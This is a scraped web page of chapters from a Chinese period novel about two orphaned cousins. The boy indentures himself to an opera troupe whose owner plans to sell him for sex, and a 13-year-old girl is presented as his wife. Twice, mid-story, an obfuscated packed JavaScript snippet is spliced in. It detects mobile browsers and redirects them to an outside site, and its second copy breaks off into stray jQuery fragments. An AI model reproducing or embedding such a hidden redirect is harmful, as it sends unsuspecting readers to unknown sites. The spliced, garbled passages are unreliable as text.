吴铁音是生意人，嘴皮子利索，形容描述得绘声绘色。周莲泱的嘴不由微张了开来，发出一声“啊？” 女人一拍手：“我也‘啊？’了一声，从未见过这样的奇事。但有钱，我们不必典当活命的铺子，立刻为你们抓了药来。只是你妹子病得实在厉害，比你还重，安顿好的那晚就发起高烧，眼下还在我的房间里躺着呢。不过你莫担心，烧已退了，只是还需休息。” 听到最后，知晓表妹的情况，周莲泱一路跌宕起伏的心终于宁定。原来两人能活下来，终究还是靠着表妹。 说话期间，吴铁音一直不错眼地瞧着他，只见面前的少年闭了一下眼，长长的睫毛一颤，落下两滴泪，立刻止住。半晌，才轻出一口气，道：“音大姐，大恩不言谢。待我身体能下地，便去找活干，决不再给你们添麻烦。” 吴铁音又轻又快地笑了一下，周莲泱不解其意，但她并未解释，只道：“你表妹的银票还剩些许，我家至少不差两个孩子一口吃的。你腰伤严重，养不好，非得落下毛病。先歇着罢。” 吴铁音风风火火地出去，又风风火火地回来，手里端着清粥与汤药，与周莲泱吃。他吃了之后，便又累得犯困，定神睡去，比前几夜都睡得安稳。 过了几天，腰伤大抵愈合，他能下地，才发现和想象的不同，吴铁音口里的“生意”，其实是个丧材铺子。铜陵偏僻一角，一条街都是卖丧材的，一出门，都是香火的烟灰味儿。他本来心里还因为丧葬岗一夜有些别扭，发现音大姐将铺子打扫得干净整洁，也就习惯了。 掌铺子的实际是吴铁音，她口里的“外公”是个矮矮小小的白发老人，姓李，年龄已过花甲，身高不及五尺，满脸皱纹，相貌和蔼可亲。 见他出来，李公还特意关照几句。老人耳背，周莲泱只能喊着说话，交流不畅，老人就笑着捏捏他的腕子，拍拍背、头，像对自家小辈一样，端一盘果子点心，硬要他吃。 周莲泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周莲泱停下手中活计，怔然驻足，只觉人生恍若大梦一场，不知荣华是真，还是飘零为假。 肩头忽然拍来一掌，是腰间缠着汗巾、忙得一头是汗的吴铁音：“你若想出去顽，等傍晚做完了，去城中听戏，莫听着腌臜人唱的东西。” 周莲泱心头一动，便多问了几句，吴铁音神色回避。他奇怪起来：音大姐性格爽朗，向来有什么说什么，不过一个戏班，怎么如此吞吞吐吐？ 吴铁音叹气，半晌憋出一句：“你想，她唱得妙，为何不去好地方拼，在咱们这条街唱？就知道不是什么正经。别问了，你是好人家出来的，莫扯干系。 ” 周莲泱半懂不懂，看吴铁音的模样，不像鄙夷优伶，而是专门对这唱戏人的不齿。他将手上活计做完，便出门听戏，最后忍不住好奇心动，去瞧了一眼吴铁音嘴里的“腌臜人”。 他去的时候，戏已经收摊了，后场走出来一个中年妇人，手脸已洗干净，头发理得整齐。一望她的风韵便知，她年青时必是一个出名的女戏。 打听之下，这妇人原来是江宁“泰春班”班主的夫人。戏班班主大多不是唱戏的，而是商户、乡绅等，泰春班的班主曾是一舵主，颇有人脉，收了夫人所在的“熙和班”，再改名成为班主，在江宁经营起来。 此次班主携夫人到铜陵，是为了祭祖的。 这样不算小的戏班，为何让吴铁音避之不及呢？ 庙会一连三天，每日周莲泱都借机出门，去听那妇人唱戏，到了第三日，终于寻得一个机会，与她搭上了话。 那一日，周莲泱回来的很晚，乔璃本想见一见他，商量两人以后的去处，久等不至，只能先睡了。深夜三更，他才踏夜露而归。 自他伤好了七八分后，两人便睡在一处偏房，不占用吴铁音的卧床。周莲泱悄悄地进屋，不愿惊动乔璃，只借淌入窗棂的如洗月光，向她姣好的睡脸望去。 庙会结束，那些管乐丝弦、花柳繁华，都尽在幽深的夜色里。空尽尽的，盛夏时节，也透着丝丝凉气。 周莲泱唇角微含笑意。他不能不笑，因为他终于有了安置表妹的底气，便是银票花完，她大抵也是不用吃苦的。 “……表哥？”乔璃困顿地揉揉眼睛，不知他为何不上床，独自坐在那里。 “囡儿，我与你说一件事。” 少年的眼里微微亮着一点笑，但在憧憧夜影里，又好似森森沉沉地荒凉了。 “我找到一条赚钱的生计，咱们不能总麻烦音大姐。我养着你，囡儿，我一定把你养大，将病治好。” 乔璃只觉得心尖又被那只枯手一把捏住了似的，无意识痛嗯了一声，握住他的手，半支起身：“表哥，你实话告诉我，你找了什么生计？” 周莲泱笑着，双眸温柔似水，又黑黑的，像苍冷的星子。 “没什么，我把自己卖了。过几日，我们就去江宁吧。” 11. 拾 情真一诺 那日，丧材铺的吴铁音得知周莲泱的决定，脸色就变得不好。他不愿勉强，再留几日，待乔璃病体好了个七八分，提前收拾几件衣物，认真道谢拜别。 九月的第一天，周莲泱带着自己的表妹乔璃，投奔玉关柳的戏班。 “你竟真来了。” 门应声而开，走出个女人，开门之后，先看周莲泱，又看乔璃，视线意味深长。打量片刻，侧身让两人进来。 这是一个不大的院子，看得出不常住人，园中花草盆植都枯黄萎败，但四下精心洒扫过，墙角都不积灰尘。 给两人开门的女人只有三十岁出头的模样，穿着素衣布鞋，材质并不昂贵。她的五官很淡，素面朝天时，颧骨能看见几颗褐斑，实在说不上有多好看。打一照面，很难想象她曾在苏淮一带，得过“小陈圆”的名号[1]。 “我那夜说了好些话，东家居然不信我？” 周莲泱一手牵着表妹，一手拎着包袱，头发打了一点油，往后抹得整整齐齐。他的脸也洗的很干净，走了两刻钟，染着薄汗，仍然是清爽利落的。 他侧头轻捏乔璃的手，道：“妹妹，这位就是我与你说的泰春班东家。” 两三日不见，少年看着似又沉稳两分，只是不知让他牵肠挂肚的“表妹”又是何许样人。 心里这么想着，女人脸色不动，只是笑道：“贱妾无名，只得‘玉关柳’一诨号，你就跟着别人一道叫我柳姨，或东家罢。” 低眉敛容的少女乖巧道：“见过柳姨，柳姨好。” 夜里蓄的晨雾在太阳还未升起前就散了个一干二净。天还是热，时而连绵的阴雨，也挡不住汗透重衣的旱燥。 玉关柳解开腰间的松花汗巾子，轻轻擦拭额角。她天刚亮时就起床打拳吊嗓子，二十年来除非大事，否则一日不歇。 刚吊完嗓子，玉关柳说话还是很轻，细声慢语的，步伐款款，引两人去待客的小厅。 “我活了也有半辈子，听惯痴情名伎负心汉，未闻有男子自甘下贱养幼妻的……”她瞥了一眼容色沉静、但掩不去五官稚嫩的乔璃，“你这‘妻子’，十五岁都未有罢，当真结婚了不成？” “回柳姨的话，我与表哥两年前订婚，半年前确已完婚了。” 听到乔璃说话，周莲泱后背下意识一挺，跟着点头。 玉关柳慢悠悠伸来一只手，乔璃没有躲，任由那只留着两根水葱似长指甲的手覆在额上。 “小脸发青呢，真是可怜见的。”玉关柳待两人坐下，端了热水点心。“小莲儿，你再把药单拿出来与我瞧瞧。” 她说着拈了一块海棠糕，强硬塞进乔璃掌心。海棠糕是新做的，表皮烤得微黄，放冷也自带一股麦香。 周莲泱瞧她捧那块糕，四只眼睛盯着，吃也不是，不吃也不是，只能低下头轻轻啃一口，里面的红豆沙都未啃出来，不由笑一笑：“没有什么药方，都是表妹根据自身的情况，现写了由我去抓。只是有几样，如紫参、天麻，冬虫夏草一类，不仅品质要好，也需足一定年份，因而贵。 ” “哦？”玉关柳把一双眼转向乔璃。 那并不是一双秀长多情的美目，线条平凡，眼睛却是慧黠不宁的，微微那么一顾盼，并不刻意，就似一泓秋水般流淌出魅力来。 “是你写的？” 乔璃垂眸片刻，道：“柳姨见笑，不过是我请不起大夫，依着家中吃惯的药方增减一二罢了，并不值得在意。说起来，若要入戏班，表哥的卖身契，能否让我提前一观？” 玉关柳抚掌轻笑：“并非卖身契，而是学徒契，可要记好了。我与你表哥也说过，就算是那娴熟的工匠，一月起薪不过二十银元。你那药方里，上好的天麻一两便要一月工钱，更不用提紫参，二三倍也使得。戏子下贱，又是从头学起，便是加上你花言巧语同我说什么拉丁语、教堂唱诗的基础，我也不会给高于十五的月钱。” “这是清角的价格。”周莲泱低道。 玉关柳轻叹：“不错，这是清角学徒的价格，是我观你有唱红的潜力，才出这高价。你若唱红，票友专给的投笺披红[2]，我是不苛的，但每场票收，你连分红都不会有。” “所以我……我不当清角。”周莲泱的声音有一线抖，却还是稳住了，“若是不当清角，一月你愿出三十五。” “不错，这正是我在学徒契里拟的价格。”玉关柳递来一张纸，还有红泥盒，“签了名姓、按好指印，契约成立。” “不做清角，又是什么？”静默倾听的乔璃忽然开口。 玉关柳点了点手里的堆花紫砂壶，悠悠一笑：“所谓清角，就是卖艺，卖嗓子，卖戏里头的身段儿。另一种么，就是要把你能卖的无所不卖，譬如你表哥读过书的少爷身份，给洋人唱过圣经的诗童气质，最重要的，自然是……” “东家。”周莲泱的嗓子微微凝噎着，眼圈周围也积出一圈薄红。他眼睛里盈了一层莹光，雾颤颤的，依然看得出深处的几分刚强。“签契的时候，您要表妹也在一旁看着。她在了，便行了罢。” 玉关柳怔了怔，瞧他含泪凝不流的模样，道：“……我本还存疑，现在发觉你入此门说不定天然有一番造化。也罢，你签了契，今日就在我这里住下吧。” “请您等等。”乔璃转过头，黑黑的瞳仁似是要扎进少年心里，“说了这么一句清角的事，又不往下说了，为什么？我要知道。” “不做清角，表哥又要做什么？卖什么？” “不卖什么！”周莲泱猛地站起来，双手按在桌子上，背脊微弓，低头不去看她，“你……你总会知道的，我不打算瞒你，只是，只是现在又不用……不用卖，知道了也没意思。是么？” 最后一句话，是问给玉关柳的。女人叹道：“我不是什么善心家，泰春班虽然不止教清角，但也绝不强逼人。都一样苦命，做这些又干什么呢？再且，总要唱红了戏，才有人愿意买，最小的，也要从十五岁做起。” 这番话虽然没有明着指出卖什么，但有心人也都能猜出来，周莲泱只强撑着安慰自己表妹不知人事，用言语哄她，也哄自己罢了。 乔璃倒真没继续问个水落石出去剖他的心肝，只愣了一会，望着玉关柳，道：“这契，一签要签几年呢，能告诉我吗？” 玉关柳答：“惯常签三年、五年，不做清角，就要更久。他的契是十年，若唱不出名堂，这契我可以毁。但他唱好了要走，可是走不掉的。” 开头，玉关柳以为她不言语是怵住了，便要周莲泱按指印，半途却被一只手挡住。这小女孩的眼睛逆着阳光，丝毫没有孩童的天真，倒沉着种深夜天河静水似的幽静。 “我知柳姨给的条例已是极宽待的了，照理，表哥与我合该感谢。但我还想再开一个价，纳入契约，五年之后，表哥可以按约赎身。” 说完，她撩起衣摆，对着玉关柳缓缓跪下：“拜求柳姨。” 周莲泱前日将自己卖了的时候没哭，面对吴铁音异样的眼光时也没哭，现在忽然就倏倏掉下泪来，想，表妹今日替他而跪，他便是为她随时死了，也只会感谢她。 玉关柳瞧着眼前这对苦命鸳鸯，突然把脸一横：“凭什么？我教他成名便要一二年，有无人买尚还存疑。倘若他唱出名，只能卖两三年，我又能赚得什么好？一直捏在手里岂不稳妥？” “柳姨误会了，我说的价，并非几许银钱。即非钱，也非别的赎身物。我押给柳姨的，是一笔对未来的投资。”乔璃停顿片刻，慢慢补充道，“我想以我未来五年的可能，去换表哥五年的价值，因为到时候，我一定能给柳姨带来更大的利益。” 回应她的是一串银铃似的笑声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615131|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玉关柳这个人很奇怪，她轻声慢语时，总有一种超越年龄的成熟风韵，笑起来倒好像一下变年轻了，露出一种小女儿情态。 花枝娇俏、容色轻颤间，显示出一种怪诞肆意的、孩童般天真的恶毒。 她笑毕，却不说话，拿起眼前的紫砂壶，轻轻拂拭。她看着紫砂壶的目光，即怀念，又藏着一股深切入骨的怨恨，和说不出的倦：“苦命鸳鸯，真可怜呵……小姑娘家家，好大的口气，我不信，不添，不要什么远大的投资。就给我卖命吧，皮肉、鲜血、傲骨……每一寸我都会榨个干净。” 周莲泱的唇微微抖起来，伸手要去把乔璃从地上拽起：“囡儿，别跪了，没事，只是十年而已，我可以的……” “五年之后，表哥仍在泰春班当清角，尽可卖唱，只是另一件，请允我赎回。”乔璃搭着周莲泱的手，慢慢起身。她跪得有点久，站起身，面色更白。 因为每日药吃得不如以前好，她更容易感到乏累，眼前也蒙上一层水雾，看起来要哭了似的。 玉关柳一直在不着痕迹地观察她，以为二度遭到拒绝，这小女孩会哭、会悲伤，会怨恨，谁知那双眼里不仅没有这种情绪，反而是…… 奇货可居之意？ 这让玉关柳想不明白，甚至开始质疑自己对人心的敏锐，心念电转间，乔璃已走到她近前，忽然笑眯眯的，瞧得玉关柳心头一跳：女孩的右手攥成个拳头，莫不是想打她？这也太荒谬了。 她感到荒谬，却也没动，想看看对方到底要做什么。 只见乔璃用拳头抵住玉关柳后腰偏下的位置，手腕一转，拳峰抵着一处深深揉进去。 玉关柳发出从未有过的呕哑难听的一声“诶呀”，前倾着伏到案几上，不受控地将杯碟哗啦啦扫了一地。唯那只紫砂壶，被乔璃提前拿在另一只手里，倒是保住了。 “你、你做什么……” 她这么一点、一揉、一转，转得玉关柳后腰生生得痛，一下脱去浑身气力，软如面条，被乔璃按住肩膀，硬将那股痛劲揉散揉开。 说来也怪，剧痛过去，剩下的是一种懒懒的松倦，上年纪后，五六年都未有这样轻松的时刻。 “柳姨身体好，但后背的经络很不通畅，总淤堵着，月事怕也不调，不是连月不来，就是一来极难过。” 乔璃将紫砂壶小心放回玉关柳手里，唇微微一扬：“表哥现在尚不能赚钱，还要依您教导，才能登台唱戏。但我已可以为您创造价值，弥补这段时间的空白。这样积年的毛病，我一望便知，非说大话，但戏班往后有人患病，与其请大夫，不如先问问我这个免费的劳力。” 她把话点到为止，坐回原位，由缓过劲的玉关柳思考。她不急，玉关柳反倒慢慢凝重神色。 “前话求柳姨的是投资，并非施舍。”乔璃抬眼，“而我今年，方及十三。” 玉关柳神色微动，半晌，又笑起来，只是银铃般的笑声里，少了几分嘲蔑。 “你表哥前日来找我，装得勇敢，实则心底没谱。在这个年纪，倒也值得夸赞。我便猜，这孩子外强中干，一定是模仿家里大人，没想到模仿得是你。” 女人扶腰往后靠靠，了悟地抬起手，搭着前额。 “他与我谈话的气势，学得也是你。奇了，真是奇怪，从未见过你这样的。” 她抬起笔，在学徒契上草草写了一行，转给乔璃：“喏，五年之后，若你真有什么能为，付这个数，我也就放你表哥走。” 周莲泱定睛一看，契上赫然写着“肆万贰仟圆整”。 需知当年他家老太爷请一个戏班，不过千余银元，而今他的一纸赎身状竟标了四万两千银元——足可置三坊五巷，雇十馆百伶，演它一十二年戏。 不等他高呼荒唐，乔璃一点头，抓住他的手指，轻蹭红泥，按下手印。 12. 拾壹 甜美之物 普通小子来戏班当学徒，自然翻不出什么水花，但周莲泱和乔璃读过书，是富贵人家遭难出来的，严树明就多给一分尊重，置了好酒菜，权作接风。 两元钱一桌的便席菜，两个冷荤，两个热炒，两个大碗，再一大件红烧整肘子，全是玉关柳使养女严雪辕提回来的。 她个子比养父还高，肤色黝黑，身板壮实，从后背看，若没有细掐进去的一截腰，根本瞧不出是个寻常女子。 周莲泱往她比同龄小子还要宽一节的肩瞧，心中感叹若自家表妹以后也能长成这样健康强壮，他就欢喜得别无所求了。 殊不知，他家表妹病愈长成后倒是与严雪辕相差无几，但他气恼不成却被扛起来的时候，可没有今日这般欢喜…… 一桌菜从饭馆提回来，光是木匣子就有三大只，沉甸甸的，叫周莲泱来，都未必提得动。严雪辕身板不摇不晃，稳当当健步如飞，从饭馆回来到摆好菜，碗碟上还冒着热气呢。 冷荤是咸火腿与盐水鸭的拼盘，炒菜有熘肝尖、炒牛肉丝，两大碗为红烧鱼块和四喜丸子，相当丰盛。这样的菜，在吴铁音家，便是砍去一半，也是从未吃到过的。 周莲泱观察严雪辕的面色，就明白这顿饭她只当寻常，并不如何稀罕。 严树明开了一瓶酒，只有他一人独饮。一筷子肉，一口白酒，很是自得，时不时招呼两人夹菜。喝到最后，见他自斟自饮的孤独，玉关柳也用了两杯。 她一喝酒便上头，脸红红的，隔空点一指头在周莲泱额上：“小莲儿，你听过什么好戏不曾？” 说完，也不许他接话，自顾自笑靥染红云：“想必是没听过的，你呀，还有你，小乔儿呀，今日可是有耳福咯……” 只见她纤影一晃，人已入里屋。严树明瞧着妻子的背影，举杯笑笑：“你们东家醉了。醉了就要唱戏。辕儿，你也去换衣服。” 严雪辕放下筷子站起身，轻车熟路地披了一件胸前绣补子的文官戏袍，穿在家常衣服外面。玉关柳换得久，出来时，是一整套粉衣白披，扮得是《紫钗记》里的霍小玉。 《紫钗记》写唐代才子李益与郡主霍小玉互许终身，却因权贵记恨作梗，致使二人一别数年。小玉蒙冤受辱、贫病交加，而李益误信蒙蔽，遭受软禁。 两人久经曲折，终于以定情紫钗嫌疑冰释，冤屈终解。 《折柳》、《阳关》两折，叙述得是李益奉旨随征，霍小玉在灞桥饯行，倾情惜别之景。词曲幽幽悱恻，缠绵哀怨，堪称“临川四梦”第一梦。 当年玉关柳红极之时，便是串戏《折柳》唱成了花魁，她唱到寄生草的时候，满岸轻柳飞絮都因声凝住，不肯飘离零散，因此叫作玉关柳。 严树明早已净手，擎一琵琶，随手一拨，权作开场。严雪辕直接从点绛唇的念白开始唱：“夫人，出门何意向边州……” 周莲泱观摩的第一场戏，就是玉关柳亲唱的《折柳·阳关》。 她唱戏，还未启唇，哀怨便生。灞桥折柳，送君出关，虽是忧愁，却也不能过怨。含情脉脉，欲语还休。 玉关柳哀愁的韵味，是极女性化的，寡淡的五官，蒙上那层雾雨朦胧的哀愁后，就化成一种盈盈冉冉的凄美。 待她启声，唱飞絮浑难住，眼前就仿佛真的看见雪片似的灞桥柳絮；她唱妾有泪珠千点，指拈严雪辕衣袖，就真落下泪珠如串，染湿层叠袖摆，随丈夫李益远行边州。 她倾腰下弯，回身展袖，真如孤鸾之在烟雾，将人扯入戏文中的情思，哀霍小玉之哀惧，愁霍小玉之离愁。 无论是周莲泱，还是乔璃，两人全都听住了，心神迷进烟雨朦胧的灞桥柳岸，忘了夏日燥热，忘了前路渺渺，忘了己身忧愁。 她确实是有资格当我老师的。周莲泱想。那么，一个秦淮伎女，唱如此精妙的戏，究竟师承何人呢？他一问，再问，玉关柳都未曾告诉他。 很久很久以后，玉关柳已不再是玉关柳，恢复本名，才肯将自己的故事徐徐道出。 现在，周莲泱只是暗自将玉关柳的腔调情态记进心里。名师难得，想要学戏，更要有好的记忆力和悟性。他都不缺，但是，若想早早出名，赚得更多银钱，必须做得比下苦功夫还要超过几分。 ------ 祭祖过后，严树明就要携妻女回江宁了。周莲泱与乔璃本无什么行李，到了戏班，自然有分配的日常用品。最后，只有几身衣服放在包裹，剩下的碎银一分为二，一半之前留在吴铁音家，一半全换为成药，以备乔璃不时之需。 跟随马车离开之前，周莲泱没想到，自己还能见到一个人。 他本出门去城中大医馆取表妹的药，回程路上眼前突然转出个人影，拽着他胳膊要猫进暗里头。周莲泱吓一跳，本能要挣扎，后背就被敲一记，还是熟悉的力道：“小子，是我！” 吴铁音穿着条棉裙子，上半身是件新做的窄袖单衣，手里提了个打得严严实实的包袱，看了他两眼：“这几天你俩走了，老头吃不香睡不好，一定要我给你们带一兜子奶饽饽。真是，也不是没养过小孩，有啥可稀罕的。” 说着，她一递一塞，把包袱让进周莲泱手里。 “别拒，我知道你要走，特意找你说几句话。你要是拒我的奶饽饽，这几句金玉良言可就听不着了。” 周莲泱犹豫片刻，把包袱背到背上：“音大姐想说什么？” 吴铁音抬起眼，飞快把他一瞧：“你铁了心跟玉关柳，想着跟她唱戏赚得钱多，是也不是？” 没什么不好承认的，周莲泱点点头：“是。” “好，你虽然是个少爷，但也是个爽快人。我读过几本书，不是睁眼瞎，所以问你：你知不知道，你入泰春班，当玉关柳养出来的荤角，这一辈子，都不可能再捡回你的少爷风光了，一辈子，都会被戳脊梁骨，遭人唾弃，死也入不得祖坟。你想想，为这一时一刻的银钱，搭进去一辈子的骨气名节，值得么？” 周莲泱苦笑，沉默半晌，只说了一句话：“可是没有钱，我妹妹就活不成了。” 吴铁音一噎，神情也有些无奈：“我不是……不是瞧不起你，也不愿泼你冷水。你不了解玉关柳，我是知道的。她是个顶下贱的坏种，能做出什么样的事，凭你这种涉世未深的毛头小子，根本想象不到。我并非蓄意抹黑，而是因为我比任何人都了解她。” 女人往墙上一靠，锁紧手臂，脸上的表情似追忆，又似愤懑，破坏了素日给人的那种踏实的朴意，看起来有些奇怪：“玉关柳此人，能为一己之私、之乐、之快意，全不屑什么诚实道义。只要能得到自己想要的，骗一个人，杀一条命，又有什么不能做呢。” 周莲泱被她的话搞懵了：“音大姐的意思，是玉关柳杀过人？” 吴铁音定定地看着他：“我的意思是叫你不要信她。她这人，若是把谁看进眼，一会好、一会歹，能生生把人的骨头磨垮。我叫你别信她，是为保全你和你妹子。 当年她演花旦演得好，戏班里和她一直搭戏的小生倾心于她，身家财产全都予了玉关柳。她那时名气大，这点爱慕不算什么，自然看不进眼里。年节时有霓国人要她唱戏，言语无状惹了她，她不唱，霓国人就将烧红的炭块活活塞进那小生的喉咙里。即便这样，玉关柳也不屑。第二天，坏了嗓子的小生就吊死了。” 周莲泱若有所悟，可不管怎么说，音大姐为何担心他会信任一个把自己当作货物出卖的班头呢？吴铁音像是看穿他的心思，摇摇头：“现在多说无益，有些事只有碰到临头才能懂，我到时候只希望你还能记得我的只言片语罢了。” 说完，吴铁音又嘱咐周莲泱几句。她人做事爽利，既已道别，便不多留恋，干脆利落地走了。 待到周莲泱提着包袱回到两人暂住的小厢房，见到乔璃，将吴铁音告诉他的事情说了，才觉得有些晕乎：“囡儿，你说音大姐特意和我说这番话，到底是什么意思？” “她的意思是，玉关柳是个危险的人。”乔璃摸摸他在外行走热乎乎的脸，拧了条帕子给他擦汗。“不要紧，我大概知道了。” 周莲泱乖乖仰着脸，拨开长长的额发方 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“荒……荒唐！”周莲泱侧身想跑，可女孩半个身子都搭在自己肩上，八爪鱼一样挂着，他怕摔了她，不敢动，被施了定身咒似的，维持在一个微妙好笑的姿势。 “姑娘家……怎能……” “什么姑娘家，我和表哥已经是夫妻了。”乔璃趴在他肩头，嬉笑着，亲亲他的耳根。“表哥懊恼的是，主动的不是你，是我？” “囡儿……”他的人也如耳根一样，戳破就软了，似嗔还怨地瞥她一眼，“……你不累，还不睡么？” “表哥先睡，给囡儿暖暖被窝。”乔璃大发慈悲地松开他，就看见周莲泱逃也似地蹿进被子里，半晌，才冒出一句话。 “……你还要做什么，早些休息吧。” 乔璃便笑：“我得写一封信。” 她回到小桌前，桌上搁着一封写了一半的信纸。纸非好纸，笔也只是炭笔。 周莲泱不在的时候，玉关柳捉了她，告诉她“荤角”的事，眼角眉梢流露的都是恶意。她这个人很奇怪，不愿强逼人时，说的是真话。可说她不愿放周莲泱走时，也是真心话。 但乔璃写在信纸上的不是玉关柳，也不是周莲泱终要面对的“荤角义务”，而是他去找玉关柳时，学着她的气势，展现价值，让玉关柳升起收徒之心的模样。 “学技必先学文，大半唱戏的学徒，都是未读过诗书的，戏中情态深韵又怎可理解？不能理解，又怎能传达给看戏之人？我通读四书五经，学过琴棋书画，还给教堂洋人唱过诗。国人士子的喜好，洋人爱看能理解的东西，我腹中都通一二。如今年岁也不算大，我又非毫无根基之人，东家若是错过我，可是放跑了会生金蛋的鸡，我都要为您惋惜了。” 思绪就此打住，乔璃揉揉额角，眼前仿佛能幻想出周莲泱据理力争的模样，不由自主地笑一笑。 她写完，就把信纸一角沾上灯火，不一会就烧成灰烬。 “不管恢复记忆后，你是怎样的人，这些信……是我写给你的。你若欺负他，我可不允。” 乔璃点点自己的心口，上扬的嘴角慢慢落回原处，又恢复不声不动便宛若死人的神情。 “欺负……偶尔欺负一下也不是不行。只是不能太过。” 乔璃起身，被窝里面已经是暖呼呼的了，钻进去，从后面搂住周莲泱的腰，抵着他尚不坚厚，但足够挺拔的背脊，很快睡着了。 这时候，两人具以为，下一站会是柳碧胭脂红的江宁，却不料泰春班只在江宁待了月余，严树明就听到朝廷颠覆的风声。 各路人马动荡不安，连带江宁也少了几分酒旗戏鼓的悠闲。经过多次考虑，严树明也在甬明行商友人的劝导下，携泰春班沿河道往上，进入海市。 一番折腾，落脚，适应，见缝插针地排戏，等一切尘埃落定，已是翻年再翻年。 周莲泱学艺近两载，第一次登台亮相，已是新历初年的上海滩了。 13. 拾贰 金雀轻分 黄浦江畔，天夜空旷得很高很高，流涨着些灰白的云，一点两点星欲藏还露。云翳厚重，却掩不住明镜般美丽的月轮。 中秋将近了，在外漂泊的浪子，也渐渐隐不下归乡的迫切。这样悠远深长的愁绪，在美租界却是浅淡而看不分明的。 月光照在乍浦路上，也映照着苏州河边的雾气，小茶楼的布幌轻晃着，有身穿旗袍的女子倚门而立。巷子路上摇摇晃晃走来一个人影，女子打起精神，发现只是个尚未及笄的少女，抱着一摞浆洗好的衣料，顿时失了兴趣。 待她走过，巷口又走来两个醉醺醺的美国水手，穿旗袍的女子便迈出几步，冲他们一笑。手里的绸帕半遮着脸，微微那么一晃，晃出犹抱琵琶的风韵，沿着另一条窄路，窈窈窕窕转进去。 少女若有所觉，回头一看，美国大兵也不见了。巷子里，理发店的木门半掩着，隐约传来留声机的乐声。 那里，不是剪头发的地方。 她抱着衣料继续往前走。月光跟在她身后，迈过一处隐蔽的拐角。从那儿绕出去，就是北苏州路。苏州河畔，新开了几家“Dance Hall”，使并肩的几条窄巷，都额外多了许多嘈杂人声。 水声哗哗，非是河音，而是两双被井水浸得青白的手正洗着餐桌用的布帕子。它们是餐布，之前被折成一朵高档的花，点缀在杯子里，沾满红酒与牛排的浆液后，需得细细搓洗，才能再次使用。 “水冷么？”“不冷，今日是秋老虎呢，都温温的。” “听说明儿又有什么对‘元大总统’的游行示威了？上次还闹出人命，我真是怕得紧。”“嗐——有什么可怕的？再怎么示威，那些穷学生也闯不进租界来。哎呀，你瞧你，穿这件旧夹袄，怪不得满头汗。” “我穿不惯洋人衣裳，胸口空落落的……就去年，咱们还拜皇帝大老爷呢……” “是啊，谁承想，皇帝还能没有呢……” 随着少女渐行渐远，两个给“Dance Hall”做活的女孩的声音也远了。 乍浦路、吴淞路，以及再东边的百老汇街上，这样的小茶楼、理发店，跳舞厅，随处可见。有月亮照着，死角也黑魆魆的。 道路的尽头，藏着一幢两层的石库门里弄房，是少女的目的地。几年前新建的楼，清水青砖，石灰勾缝，门楣做了半弧形的山花楣饰，不似传统砖雕青瓦的压顶门头，而是更西方化了[1]。 这样一栋楼，虽处在美租界与英租界接壤的混杂地带，能仍有一点高墙深院、闹中取静的好处。因而在美租界里，没有一点旁的势力，是住不进这样好的地方的。 少女走到弄房乌漆实木的后门，握住铜把手。把手往上，嵌一个铜牌，刻着“泰春班”三个小字。 铜牌不大，收敛着，似也怕张扬谁的眼。毕竟短短一年就在美租界闯出名头的戏班，它和这条鱼龙混杂的苏州河一样，都和“冰清玉洁”沾不上一点边。 她伸手推开门，后门挨着后天井和灶台，四间小小的后厢房作为化妆间与存放戏服的储藏间。 踏进门前，她抬头望了一眼天幕。 这是一个很美丽的月夜，月晕泛着一种诡秘的蓝，嵌在深色的天幕与云翳里。 两个说话的女孩，让她想起喜儿和燕儿，想起玲云和臻云。似乎在哪里，都有这样做惯杂活的小丫头子，叽叽喳喳，嬉嬉笑笑，恍惚间，把她扯回一些不算久远，却已陌生的记忆中。 一道细而轻巧又无比熟悉的清唱声飞上天幕，将乔璃牵回现实。 绕进去，立马跑来一个小旦夺走衣服，拧她的脸阴阳怪气了几句动作慢，便搡她进了一处化妆间。她被推一把，也不恼，揉揉肩膀，走进半掩的木门后。 一个清瘦的身影穿着稍大的戏服，正背对着她对镜梳妆，一边涂粉，一边吊嗓子。分明是坐着的，高音却和黄鹂鸟一样，轻轻松松往上飘，飘得那么高，还有充盈的力气垫在下面。 乔璃唇畔始终染着的笑意更深。 木门一合，屋子里只剩下香粉与戏服的胭脂气，就剩下他的声音，勾着她的耳朵，勾得痒酥酥的。 “表哥，我回来了。” 乔璃把身体盖在他的肩上，眼睛看向镜子。他的妆已经画完了，浓妆艳抹，只剩一对斜飞如鬓的柳叶眉未描。 戏腔不止，她就低下头，唇呼着热气去蹭脖颈未沾粉底的地方，譬如喉结，譬如……这下终于弄乱了他的调子，微微颤着收了音。 一只手从左侧伸来，指尖顶她额心，稍微用力点了点：“淘气。” “表哥不理我。”乔璃陈述事实。 “表哥没有不理囡儿。” 周莲泱侧头，妆底铺得重，更突显一双水盈盈杏眼的清亮，双眼皮，眼角稍稍往下弯，如猫儿一样圆而灵动，里面漾着笑。 乔璃双手拢着他，轻轻吐出一句话：“我给你描眉。” 螺子黛含在手里，她动作放得很轻，黛笔利落地画出一条蜿蜒的墨线。她描眉已很熟练，随着角色的不同，柳叶眉时厚时细，时重时薄，都是好看的。 昏暗的灯光打在两人身上，影子叠成一个。 “今日出去这么久，可有不适？”周莲泱对着镜子打量完成的戏妆，惯例问她。 “不曾。跑跑腿，也算活动筋骨，挺好的，免得一直睡。”乔璃答。 这回答并不能让他满意，周莲泱停下调整头冠的手，拧眉：“如今咳疾好些，怎么多了嗜睡的症状？” “也许是我的病快好了。”乔璃后退两步，语气一滑，避开这个话题：“表哥今日真美。” 周莲泱的眉没有松下来，但也不再谈这件事。只听咚的一声响，有人敲门，之前的小旦探半张脸进来，没好气地说：“周少爷，都快要演了，还不来？” 